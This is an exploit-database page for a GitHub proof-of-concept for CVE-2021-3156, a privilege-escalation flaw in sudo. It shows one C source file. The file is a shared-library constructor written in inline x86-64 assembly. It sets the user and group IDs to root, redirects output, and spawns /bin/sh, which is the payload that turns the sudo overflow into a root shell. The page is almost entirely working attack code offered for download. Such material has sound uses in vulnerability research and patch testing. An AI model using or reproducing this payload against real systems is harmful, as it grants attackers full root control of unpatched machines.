Exploit database

GH-e5cc543d75fb08f75778d904365b29f5

reverse-ex/cve-2021-3156

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3156

85 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
reverse-ex/cve-2021-3156Revision 7e2c2eeb41d0

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

1.c

C · 815 bytes
static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}